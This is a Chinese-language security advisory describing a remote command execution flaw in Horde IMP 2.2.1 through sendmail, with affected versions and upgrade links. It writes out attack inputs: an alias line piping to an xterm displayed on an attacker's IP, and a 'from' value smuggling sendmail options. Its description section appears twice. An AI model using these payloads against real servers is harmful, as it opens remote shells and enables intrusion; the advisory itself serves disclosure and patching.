Horde IMP可以通过SENDMAIL远程执行命令发布时间:2000-09-25 更新时间:2000-09-25 严重程度:高 威胁程度:普通用户访问权限 错误类型:设计错误 利用方式:服务器模式 受影响系统 Horde IMP 2.2.1详细描述 IMP一个WEB的MAIL接口,前些日子提到IMAP2.2.1和1.2.1可以逃过字符检测 来执行命令。后来补丁有发现可以通过SENDMAIL来执行命令,并通过IMP获取文件 的信息,问题在用户输入中的popen()里,这个popen调用SENDMAIL,而PHP脚本 没有正确检查参数就提交给SENDMAIL并通过,导致追加FROM域中的命令可以被执行。 另一个IMP远程执行命令是关于附件的,在附件上载以后,一个隐藏的form变量 设置在"compose"新信息中,这个信息窗口是用来存储运行IMP服务器上的的临 时文件的的地方。因此,攻击者可以建立一个本地文件如下: "evil@localhost: "|/usr/X11R6/bin/xterm -display attackers-ip:0.0" 并作为附件上载上去,这样当MAIL给evil@localhost的时候,SENDMAIL将会 执行远程的XTERM。 当然,除非真的使用SENDMAIL程序,否则这个文件没有啥用处。 对于本地来说,SENDMAIL允许用户以特定的配置参数和命令行参数来运行它,因此, 可能发送一个"from"变量如下:"x@x -O QueueDirectory=/tmp -O AliasFile=path-of-attachment -Fx". 这会导致PHP脚本执行SENDMAIL,然后攻击者可以在上载一个alias文件后,从HTML 的源码中获得它的位置并设置"from"域的而已参数字符串,并设置"To"域为 evil#localhost并发送form,XTERM就会被发送到目的地点。 测试代码 见描述部分。 解决方案 下载升级程序: Horde IMP 2.2.1: Horde.org upgrade imp-2.2.2 tp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz Horde.org upgrade horde-1.2.2 ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz Horde.org patch horde.lib http://cvs.horde.org/cvsweb.pl/lib/Attic/horde.lib.diff?cvsroot=horde&r1=1.1.2.24%3AHORDE_1_2_1&tr1=1.1&r2=text&tr2=1.1.2.29&f=u Horde IMP 2.2: Horde.org upgrade imp-2.2.2 tp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz Horde.org upgrade horde-1.2.2 ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz Horde IMP 2.0: Horde.org upgrade imp-2.2.2 tp://ftp.horde.org/pub/imp/tarballs/imp-2.2.2.tar.gz Horde.org upgrade horde-1.2.2 ftp://ftp.horde.org/pub/horde/tarballs/horde-1.2.2.tar.gz 内 容: Horde IMP 2.2.1 + Horde Horde 1.2.1 Horde IMP 2.2 + Horde Horde 1.2 Horde IMP 2.0 - PHP PHP 4.0.1pl2 - PHP PHP 4.0.1 - PHP PHP 4.00 - PHP PHP 3.0.16 其中 Horde IMP 2.2.2不受影响 IMP一个WEB的MAIL接口,前些日子提到IMAP2.2.1和1.2.1可以逃过字符检测 来执行命令。后来补丁有发现可以通过SENDMAIL来执行命令,并通过IMP获取文件 的信息,问题在用户输入中的popen()里,这个popen调用SENDMAIL,而PHP脚本 没有正确检查参数就提交给SENDMAIL并通过,导致追加FROM域中的命令可以被执行。 另一个IMP远程执行命令是关于附件的,在附件上载以后,一个隐藏的form变量 设置在"compose"新信息中,这个信息窗口是用来存储运行IMP服务器上的的临 时文件的的地方。因此,攻击者可以建立一个本地文件如下: "evil@localhost: "|/usr/X11R6/bin/xterm -display attackers-ip:0.0" 并作为附件上载上去,这样当MAIL给evil@localhost的时候,SENDMAIL将会 执行远程的XTERM。 当然,除非真的使用SENDMAIL程序,否则这个文件没有啥用处。 对于本地来说,SENDMAIL允许用户以特定的配置参数和命令行参数来运行它,因此, 可能发送一个"from"变量如下:"x@x -O QueueDirectory=/tmp -O AliasFile=path-of-attachment -Fx". 这会导致PHP脚本执行SENDMAIL,然后攻击者可以在上载一个alias文件后,从HTML 的源码中获得它的位置并设置"from"域的而已参数字符串,并设置"To"域为 evil#localhost并发送form,XTERM就会被发送到目的地点。 相关信息 |